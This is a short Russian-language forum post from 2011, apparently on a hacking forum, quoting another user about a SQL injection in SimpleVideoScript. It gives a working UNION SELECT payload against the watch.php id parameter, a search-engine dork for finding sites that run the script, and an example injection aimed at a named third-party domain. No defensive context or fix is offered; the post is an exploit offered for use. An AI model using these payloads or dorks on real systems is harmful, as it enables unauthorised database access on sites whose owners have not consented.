13.12.2011, 11:38
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 23
С нами:
9176038
Репутация:
8
|
|
Сообщение от trololoman96
SimpleVideoScript
(на данный момент последняя версия)
Оф. сайт:
http://www.bonkenscripts.com/
поэтому есть еще одна sql inj которой
register_globals = on
не нужен
Exploit:
Код:
http://site.ru/videos/watch.php?id=111'+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13--+
intext:"Website by Bonken"
Пример инъекции:
Код:
_ttp://3gtv.dk/videos/watch.php?id=111'+union+select+1,@@version,3,4,5,6,7,8,9,10,11,12,13+and+'a'='b
|
|
|